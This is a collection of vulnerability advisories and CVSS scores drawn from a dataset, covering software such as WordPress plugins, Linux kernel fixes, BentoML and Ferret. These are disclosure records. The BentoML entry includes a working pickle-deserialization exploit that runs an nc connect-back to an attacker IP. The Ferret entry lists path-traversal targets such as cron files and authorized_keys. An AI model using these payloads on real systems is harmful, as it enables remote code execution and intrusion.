ansulev/circl-vulnerability-scores huggingface dataset:
CVE-2025-59553: WordPress Custom iFrame for Elementor Plugin <= 1.0.13 - Cross Site Scripting (XSS) Vulnerability
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Coderz Studio Custom iFrame for Elementor custom-iframe allows DOM-Based XSS.This issue affects Custom iFrame for Elementor: from n/a through <= 1.0.13.
CVSS v3.1: 6.5
CVE-2020-9680: Adobe Prelude versions 9.0 and earlier have an out-of-bounds write vulnerability. Successful exploitation could lead to arbitrary code execution .
CVSS v3.1: 8.8
CVSS v2.0: 6.8
CVE-2015-6403: The TFTP implementation on Cisco Small Business SPA30x, SPA50x, SPA51x phones 7.5.7 improperly validates firmware-image file integrity, which allows local users to load a Trojan horse image by leveraging shell access, aka Bug ID CSCut67400.
CVSS v2.0: 7.2
RHSA-2019:1852: Red Hat Security Advisory: OpenShift Container Platform 3.9 atomic-openshift security update
kubernetes: Incomplete fix for CVE-2019-1002101 allows for arbitrary file write via `kubectl cp`
CVSS v3.0: 5.3
GHSA-j3f8-fr5h-vwgv: In affected versions of Octopus Deploy, there is no logging of changes to artifacts within Octopus Deploy.
CVSS v3.1: 5.3
GHSA-rgcc-fhjc-9mj4: The bws-google-analytics plugin before 1.7.1 for WordPress has multiple XSS issues.
GHSA-q9x2-h7vp-cfx6: Insufficient policy enforcement in QR scanning in Google Chrome on iOS prior to 89.0.4389.72 allowed an attacker who convinced the user to scan a QR code to bypass navigation restrictions via a crafted QR code.
GHSA-7xx8-q94h-j3c8: The web interface in TP-Link TL-WRN841N 0.9.1 4.16 v0348.0 is vulnerable to a denial of service when an unauthenticated LAN user sends a crafted HTTP header containing an unexpected Cookie field.
CVSS v3.0: 6.5
PYSEC-2026-40: Diffusers is the a library for  pretrained diffusion models. Prior to 0.38.0, a trust_remote_code bypass in DiffusionPipeline.from_pretrained allows arbitrary remote code execution despite the user passing trust_remote_code=False (or omitting it, which is the default). The vulnerability has three variants, all sharing the same root cause — the trust_remote_code gate was implemented inside DiffusionPipeline.download() rather than at the actual dynamic-module load site, so any code path that bypassed or short-circuited download() also bypassed the security check. DiffusionPipeline.from_pretrained('repoA', custom_pipeline='attacker/repoB', trust_remote_code=False) — the gate evaluated against repoA's file list rather than repoB's, so repoB's pipeline.py was loaded and executed. DiffusionPipeline.from_pretrained('/local/snapshot', custom_pipeline='attacker/repoB', trust_remote_code=False) — the local-path branch never invoked download(), so the gate was never reached and remote code from repoB executed. DiffusionPipeline.from_pretrained('/local/snapshot', trust_remote_code=False) where the snapshot contains custom component files (e.g. unet/my_unet_model.py) referenced from model_index.json — same root cause; the local path skipped download() and custom component code executed. This vulnerability is fixed in 0.38.0.
CVSS v3.1: 8.8
GHSA-wr5j-574c-4wp4: Buffer overflow in Open Dc Hub 0.7.14 allows remote attackers, with administrator privileges, to execute arbitrary code via a long RedirectAll command.
GHSA-4m59-r2v5-q3h6: Android 6.x before 2016-09-01 and 7.0 before 2016-09-01 allows physically proximate attackers to bypass the Factory Reset Protection protection mechanism by accessing (1) an external tile from a system application, (2) the help feature, or (3) the Settings application during a pre-setup stage, aka internal bug 29194585.
CVSS v3.0: 6.8
GHSA-pf98-xx8j-74qh: The WP Job Portal – A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Local File Inclusion, Arbitrary Settings Update, and User Creation in all versions up to, and including, 2.1.6 via several functions called by the 'checkFormRequest' function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. Attackers can also update arbitrary settings and create user accounts even when registration is disabled, leading to user creation with a default role of Administrator.
CVSS v3.1: 9.8
CVE-2014-6043: ZOHO ManageEngine EventLog Analyzer 9.0 build 9002 and 8.2 build 8020 does not properly restrict access to the database browser, which allows remote authenticated users to obtain access to the database via a direct request to event/runQuery.do. Fixed in Build 10000.
CVSS v2.0: 6.5
CVE-2026-25277: Buffer Copy Without Checking Size of Input in Secure Processor
Memory corruption while using Strongbox due to buffer overflow.
CVSS v3.1: 8.8
GHSA-7xc9-8v36-4wxf: Improper access control in the Intel Unite(R) Client for Windows before version 4.2.25031 may allow an authenticated user to potentially enable an escalation of privilege via local access.
CVSS v3.1: 7.8
GHSA-pf5w-6f6m-r3g8: This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Foxit Reader 9.2.0.9297. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of the XFA mouseUp event. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-6455.
CVSS v3.0: 8.8
CVE-2024-50476: WordPress GRÜN spendino Spendenformular plugin <= 1.0.1 - Arbitrary Option Update to Privilege Escalation vulnerability
Missing Authorization vulnerability in GRÜN Software Group GmbH GRÜN spendino Spendenformular spendino allows Privilege Escalation.This issue affects GRÜN spendino Spendenformular: from n/a through <= 1.0.1.
CVSS v3.1: 9.8
CVE-2026-45687: Rocket.Chat: Authenticated Arbitrary Data Export Theft via Mass Assignment in sendFileMessage
Rocket.Chat is an open-source, secure, fully customizable communications platform. Prior to 8.5.0, 8.4.1, 8.3.3, 8.2.3, 8.1.4, 8.0.5, 7.13.7, and 7.10.11, Rocket.Chat's sendFileMessage DDP method passes the entire attacker-supplied file object into Uploads.updateFileComplete, which merges it directly into a MongoDB $set update via Object.assign. There is no allow-list of writable fields. An attacker can therefore rewrite any column on their own upload record, notably store and the store-specific path fields. This vulnerability is fixed in 8.5.0, 8.4.1, 8.3.3, 8.2.3, 8.1.4, 8.0.5, 7.13.7, and 7.10.11.
CVSS v3.1: 8.5
CVE-2016-3828: decoder/ih264d_api.c in mediaserver in Android 6.x before 2016-08-01 mishandles invalid PPS and SPS NAL units, which allows remote attackers to cause a denial of service (device hang or reboot) via a crafted media file, aka internal bug 28835995.
CVSS v3.0: 5.5
CVSS v2.0: 7.1
GHSA-vr6j-92c6-9p78: In the Linux kernel, the following vulnerability has been resolved:clk: clk-loongson2: Fix memory corruption bug in struct loongson2_clk_providerSome heap space is allocated for the flexible structure `struct
clk_hw_onecell_data` and its flexible-array member `hws` through
the composite structure `struct loongson2_clk_provider` in function
`loongson2_clk_probe()`, as shown below:289         struct loongson2_clk_provider *clp;
	...
296         for (p = data; p->name; p++)
297                 clks_num++;
298
299         clp = devm_kzalloc(dev, struct_size(clp, clk_data.hws, clks_num),
300                            GFP_KERNEL);Then some data is written into the flexible array:350                 clp->clk_data.hws[p->id] = hw;This corrupts `clk_lock`, which is the spinlock variable immediately
following the `clk_data` member in `struct loongson2_clk_provider`:struct loongson2_clk_provider {
	void __iomem *base;
	struct device *dev;
	struct clk_hw_onecell_data clk_data;
	spinlock_t clk_lock;	/* protect access to DIV registers */
};The problem is that the flexible structure is currently placed in the
middle of `struct loongson2_clk_provider` instead of at the end.Fix this by moving `struct clk_hw_onecell_data clk_data;` to the end of
`struct loongson2_clk_provider`. Also, add a code comment to help
prevent this from happening again in case new members are added to the
structure in the future.This change also fixes the following -Wflex-array-member-not-at-end
warning:drivers/clk/clk-loongson2.c:32:36: warning: structure containing a flexible array member is not at the end of another structure [-Wflex-array-member-not-at-end]
CVSS v3.1: 7.8
GHSA-87p3-v4w4-q5h8: The issue was addressed with improved memory handling. This issue is fixed in iOS 15.7 and iPadOS 15.7, iOS 16, macOS Ventura 13, watchOS 9. An app may be able to execute arbitrary code with kernel privileges.
CVSS v3.1: 7.8
CVE-2024-35791: KVM: SVM: Flush pages under kvm->lock to fix UAF in svm_register_enc_region()
In the Linux kernel, the following vulnerability has been resolved:

KVM: SVM: Flush pages under kvm->lock to fix UAF in svm_register_enc_region()

Do the cache flush of converted pages in svm_register_enc_region() before
dropping kvm->lock to fix use-after-free issues where region and/or its
array of pages could be freed by a different task, e.g. if userspace has
__unregister_enc_region_locked() already queued up for the region.

Note, the "obvious" alternative of using local variables doesn't fully
resolve the bug, as region->pages is also dynamically allocated.  I.e. the
region structure itself would be fine, but region->pages could be freed.

Flushing multiple pages under kvm->lock is unfortunate, but the entire
flow is a rare slow path, and the manual flush is only needed on CPUs that
lack coherency for encrypted memory.
CVSS v3.1: 7.8
CVE-2013-2315: data/class/pages/forgot/LC_Page_Forgot.php in LOCKON EC-CUBE 2.11.0 through 2.12.3enP2 does not properly validate the input to the password reminder function, which allows remote attackers to obtain sensitive information via a crafted request.
CVSS v2.0: 5
PYSEC-2026-294: ### Summary
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

### Details
It exists an unsafe code segment in `serde.py`: ```Python
def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))
```
Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.
 
### PoC
Environment:

- Server host:
  - IP: 10.98.36.123
  - OS: Ubuntu 
- Attack host:
  - IP: 10.98.36.121
  - OS: Ubuntu 



1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) :
` pip install -U bentoml`

1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :
``` Python
from __future__ import annotations

import bentoml

@bentoml.service(
    resources={"cpu": "4"}
)
class Summarization:
    def __init__(self) -> None:
        import torch
        from transformers import pipeline

        device = "cuda" if torch.cuda.is_available() else "cpu"
        self.pipeline = pipeline('summarization', device=device)

    @bentoml.api(batchable=True)
    def summarize(self, texts: list[str]) -> list[str]:
        results = self.pipeline(texts)
        return [item['summary_text'] for item in results]
```


1.3 Run the service code (Server host: 10.98.36.123) :
``` Bash
pip install torch transformers  # additional dependencies for local run

bentoml serve
```


2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :
`nc -lvvp 1234`
 
3. Send maliciously crafted request (Attack host: 10.98.36.121) :
``` Python
 import pickle
import os
import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}
 
class Evil:
    def __reduce__(self):
        return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
```


4. Attack success (Attack host: 10.98.36.121) :
The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.
![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)
 


### Impact
Remote Code Execution (RCE).
CVSS v3.1: 9.8
CVE-2024-6245: Default Credentials in ssh service for SmartPlay in Maruti Suzuki
Use of Default Credentials vulnerability in Maruti Suzuki SmartPlay on Linux (Infotainment Hub modules) allows attacker to try common or default usernames and passwords.The issue was detected on a 2022 Maruti Suzuki Brezza in India Market.

This issue affects SmartPlay: 66T0.05.50.
CVSS v3.1: 7.4
GHSA-9whv-hvw5-h863: Directory traversal vulnerability in install_mod.php in insanevisions OneCMS 2.5 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the load parameter in a go action.
GHSA-c795-2g9c-j48m: EverOS: Path traversal in EverOS /api/v1/memory/add via unvalidated sender_id
EverOS versions 1.0.0 and earlier are vulnerable to path traversal in the POST /api/v1/memory/add ingestion endpoint. The per-message sender_id field was not validated as a path-safe identifier (unlike app_id / project_id, which already enforced this). During user-memory extraction, sender_id is used as the owner_id and joined into the filesystem path where the extracted episode is persisted as a Markdown file. A sender_id containing ../ sequences could direct the write outside the configured memory root, allowing an unauthenticated caller to create or overwrite .md files at locations writable by the server process (unauthorized arbitrary file write). The file content is partially attacker-influenced.**Patch**:  Fixed in v1.0.1 with (1) path-safe validation on sender_id (character whitelist plus rejection of the . and .. tokens) and (2) a defense-in-depth containment check in the Markdown writer that rejects any write resolving outside the memory root before any filesystem access, covering both the write and the append read-modify-write paths.**Remediation**:  Upgrade to EverOS 1.0.1. There is no workaround for affected versions other than upgrading.
CVSS v3.1: 8.2
GHSA-583c-3965-f379: An exploitable Permission Assignment vulnerability exists in the ACEManager EmbeddedAceSet_Task.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. The EmbeddedAceSet_Task.cgi executable is used to change MSCII configuration values within the configuration manager of the AirLink ES450. This binary does not have any restricted configuration settings, so once the MSCIID is discovered, any authenticated user can send configuration changes using the /cgi-bin/Embedded_Ace_Set_Task.cgi endpoint.
CVSS v3.0: 8.8
CVE-2016-11064: An issue was discovered in Mattermost Desktop App before 3.4.0. Strings could be executed as code via injection.
CVSS v3.1: 9.8
CVSS v2.0: 7.5
GHSA-j6v5-g24h-vg4j: Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites
SummaryA path traversal vulnerability in Ferret's `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.ExploitationThe attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.Attack FlowThe attacker serves a JSON API with crafted filenames containing `../` traversal:The victim runs a standard scraping script:FQL string concatenation produces: `/tmp/ferret_output/../../etc/cron.d/evil.txt``os.OpenFile` resolves `../..` and writes to `/etc/cron.d/evil.txt` -- outside the intended output directoryThe attacker achieves arbitrary file write with controlled content, leading to code execution.Realistic Targets| Target Path | Impact |
|-------------|--------|
| `/etc/cron.d/<name>` | Command execution via cron |
| `~/.ssh/authorized_keys` | SSH access to the machine |
| `~/.bashrc` or `~/.profile` | Command execution on next login |
| `/var/www/html/<name>.php` | Web shell |
| Application config files | Credential theft, privilege escalation |Proof of ConceptFilesThree files are provided in the `poc/` directory:**`evil_server.py`** -- Malicious web server returning traversal payloads:**`scrape.fql`** -- Innocent-looking Ferret scraping script:**`run_poc.sh`** -- Orchestration script (expects the server to be running separately):Reproduction StepsObserved OutputSuggested FixOption 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`Resolve the path and verify it doesn't contain `..` after cleaning:Option 2: Base directory enforcement (stronger)Add an optional base directory that FS operations are jailed to:Root Cause`IO::FS::WRITE` in `pkg/stdlib/io/fs/write.go` passes user-supplied file paths directly to `os.OpenFile` with no sanitization:There is no:Path canonicalization (`filepath.Clean`, `filepath.Abs`, `filepath.EvalSymlinks`)Base directory enforcement (checking the resolved path stays within an intended directory)Traversal sequence rejection (blocking `..` components)Symlink resolutionThe same issue exists in `IO::FS::READ` (`pkg/stdlib/io/fs/read.go`):The `PATH::CLEAN` and `PATH::JOIN` standard library functions do **not** mitigate this because they use Go's `path` package (URL-style paths), not `path/filepath`, and even `path.Join("/output", "../../etc/cron.d/evil")` resolves to `/etc/cron.d/evil` -- it normalizes the traversal rather than blocking it.
CVSS v3.1: 8.1
GHSA-4mgg-fqfq-64hg: Apache CXF allows unrestricted memory consumption in CXF HTTP clients
In versions of Apache CXF before 3.6.4 and 4.0.5 (3.5.x and lower versions are not impacted), a CXF HTTP client conduit may prevent HTTPClient instances from being garbage collected and it is possible that memory consumption will continue to increase, eventually causing the application to run  out of memory
CVSS v4.0: 6.3
CVSS v3.1: 3.7
CVE-2006-0219: The original distribution of MyBulletinBoard (MyBB) to update from older versions to 1.0.2 omits or includes older versions of certain critical files, which allows attackers to conduct (1) SQL injection attacks via an attachment name that is not properly handled by inc/functions_upload.php (CVE-2005-4602), and possibly (2) other attacks related to threadmode in usercp.php.
CVSS v2.0: 7.5
GHSA-563f-2v9h-x957: Argument injection vulnerability in the URI handler in (a) Java NPAPI plugin and (b) Java Deployment Toolkit in Java 6 Update 10, 19, and other versions, when running on Windows and possibly on Linux, allows remote attackers to execute arbitrary code via the (1) -J or (2) -XXaltjvm argument to javaws.exe, which is processed by the launch method.  NOTE: some of these details are obtained from third party information.
CVE-2024-37995: A vulnerability has been identified in SIMATIC Reader RF610R CMIIT (6GT2811-6BC10-2AA0) (All versions < V4.2), SIMATIC Reader RF610R ETSI (6GT2811-6BC10-0AA0) (All versions < V4.2), SIMATIC Reader RF610R FCC (6GT2811-6BC10-1AA0) (All versions < V4.2), SIMATIC Reader RF615R CMIIT (6GT2811-6CC10-2AA0) (All versions < V4.2), SIMATIC Reader RF615R ETSI (6GT2811-6CC10-0AA0) (All versions < V4.2), SIMATIC Reader RF615R FCC (6GT2811-6CC10-1AA0) (All versions < V4.2), SIMATIC Reader RF650R ARIB (6GT2811-6AB20-4AA0) (All versions < V4.2), SIMATIC Reader RF650R CMIIT (6GT2811-6AB20-2AA0) (All versions < V4.2), SIMATIC Reader RF650R ETSI (6GT2811-6AB20-0AA0) (All versions < V4.2), SIMATIC Reader RF650R FCC (6GT2811-6AB20-1AA0) (All versions < V4.2), SIMATIC Reader RF680R ARIB (6GT2811-6AA10-4AA0) (All versions < V4.2), SIMATIC Reader RF680R CMIIT (6GT2811-6AA10-2AA0) (All versions < V4.2), SIMATIC Reader RF680R ETSI (6GT2811-6AA10-0AA0) (All versions < V4.2), SIMATIC Reader RF680R FCC (6GT2811-6AA10-1AA0) (All versions < V4.2), SIMATIC Reader RF685R ARIB (6GT2811-6CA10-4AA0) (All versions < V4.2), SIMATIC Reader RF685R CMIIT (6GT2811-6CA10-2AA0) (All versions < V4.2), SIMATIC Reader RF685R ETSI (6GT2811-6CA10-0AA0) (All versions < V4.2), SIMATIC Reader RF685R FCC (6GT2811-6CA10-1AA0) (All versions < V4.2), SIMATIC RF1140R (6GT2831-6CB00) (All versions < V1.1), SIMATIC RF1170R (6GT2831-6BB00) (All versions < V1.1), SIMATIC RF166C (6GT2002-0EE20) (All versions < V2.2), SIMATIC RF185C (6GT2002-0JE10) (All versions < V2.2), SIMATIC RF186C (6GT2002-0JE20) (All versions < V2.2), SIMATIC RF186CI (6GT2002-0JE50) (All versions < V2.2), SIMATIC RF188C (6GT2002-0JE40) (All versions < V2.2), SIMATIC RF188CI (6GT2002-0JE60) (All versions < V2.2), SIMATIC RF360R (6GT2801-5BA30) (All versions < V2.2). The affected application improperly handles error while a faulty certificate upload leading to crashing of application. This vulnerability could allow an attacker to disclose sensitive information.
CVSS v4.0: 2.1
CVSS v3.1: 2.7
CVE-2015-3249: The HTTP/2 experimental feature in Apache Traffic Server 5.3.x before 5.3.1 allows remote attackers to cause a denial of service (out-of-bounds access and daemon crash) or possibly execute arbitrary code via vectors related to the (1) frame_handlers array or (2) set_dynamic_table_size function.
CVSS v3.0: 9.8
CVSS v2.0: 7.5
GHSA-5gpf-4mrw-5g39: Incorrect default permissions in installer for the Intel(R) SSD Toolbox versions before 2/9/2021 may allow a privileged user to potentially enable escalation of privilege via local access.
GHSA-9rxf-7qrw-4726: Espruino before 1.99 allows attackers to cause a denial of service (application crash) and a potential Escalation of Privileges with a user crafted input file via a Buffer Overflow during syntax parsing, because strncat is misused.
CVSS v3.0: 7.8
GHSA-h68j-mvrw-qh9v: vdsm and vdsclient does not validate certficate hostname from another vdsm which could facilitate a man-in-the-middle attack
GHSA-p8f8-pj6v-742r: Adobe Campaign versions 16.4 Build 8724 and earlier have a code injection vulnerability.
CVSS v3.0: 9.1
CVE-2018-7494: WPLSoft in Delta Electronics versions 2.45.0 and prior utilizes a fixed length stack buffer where a value larger than the buffer can be read from a file into the buffer, causing the buffer to be overwritten, which may allow remote code execution or cause the application to crash.
CVSS v3.0: 8.8
CVSS v2.0: 6.8
GHSA-c6rx-gxqv-vr5j: nemo-appium vulnerable to OS Command Injection
Versions of the package nemo-appium before 0.0.9 are vulnerable to Command Injection due to improper input sanitization in the 'module.exports.setup' function.**Note:** In order to exploit this vulnerability appium-running 0.1.3 has to be installed as one of nemo-appium dependencies.
CVSS v3.1: 9.8
GHSA-rph6-gq23-6mc9: Stack-based buffer overflow vulnerability in Softing Industrial Automation GmbH gateways allows overflow buffers.
This issue affects
pnGate: through 1.30
epGate: through 1.30
mbGate: through 1.30
smartLink HW-DP: through 1.30
smartLink HW-PN: through 1.01.
CVSS v3.1: 6.5
GHSA-2w7m-jf2p-xvr5: The management console in Symantec Endpoint Protection Manager (SEPM) 12.1 before 12.1-RU6-MP1 allows remote attackers to bypass authentication via a crafted password-reset action that triggers a new administrative session.